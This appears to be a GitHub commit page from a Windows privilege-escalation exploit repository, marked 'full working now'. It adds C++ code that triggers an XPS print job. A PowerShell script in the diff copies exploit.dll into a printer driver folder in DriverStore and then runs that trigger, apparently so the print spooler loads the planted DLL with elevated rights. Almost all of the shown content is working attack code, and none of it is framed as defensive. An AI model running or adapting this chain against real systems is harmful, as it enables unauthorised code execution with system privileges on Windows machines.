Skip to content

Commit 5608b5e

Browse files
full working now
1 parent 740c72f commit 5608b5e

File tree

4 files changed

+24
-5
lines changed

4 files changed

+24
-5
lines changed

TriggerXPSPrint.cpp

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
// Triggers the XPS printer by creating a print job - @OneLogicalMyth
2+
// Compile with /MT
3+
#include "stdafx.h"
4+
#include <iostream>
5+
#include <Windows.h>
6+
#include <xpsobjectmodel.h>
7+
#include <xpsprint.h>
8+
using namespace std;
9+
10+
#pragma comment(lib, "xpsprint.lib")
11+
#pragma warning( disable : 4995 )
12+
int main()
13+
{
14+
CoInitialize(nullptr);
15+
IXpsOMObjectFactory *xpsFactory = NULL;
16+
CoCreateInstance(__uuidof(XpsOMObjectFactory), NULL, CLSCTX_INPROC_SERVER, __uuidof(IXpsOMObjectFactory), reinterpret_cast<LPVOID*>(&xpsFactory));
17+
HANDLE completionEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
18+
IXpsPrintJob *job = NULL;
19+
IXpsPrintJobStream *jobStream = NULL;
20+
StartXpsPrintJob(L"Microsoft XPS Document Writer", L"Print Job 1", NULL, NULL, completionEvent, NULL, 0, &job, &jobStream, NULL);
21+
jobStream->Close();
22+
CoUninitialize();
23+
}

TriggerXPSPrint.exe

75 KB
Binary file not shown.

example.ps1

+1-5
Original file line numberDiff line numberDiff line change
@@ -7,8 +7,4 @@ $Target = (get-item 'C:\windows\System32\DriverStore\FileRepository\prnms003.inf
77
Copy-Item exploit.dll $Target
88

99
# trigger print job
10-
Add-Type -AssemblyName System.Printing
11-
$PrintServer = new-object System.Printing.PrintServer
12-
$Queue = $PrintServer.GetPrintQueue('Microsoft XPS Document Writer')
13-
$Job = $Queue.AddJob()
14-
$Job.JobStream.Close()
10+
.\TriggerXPSPrint.exe

video-demo.mp4

16.8 MB
Binary file not shown.

0 commit comments

Comments
 (0)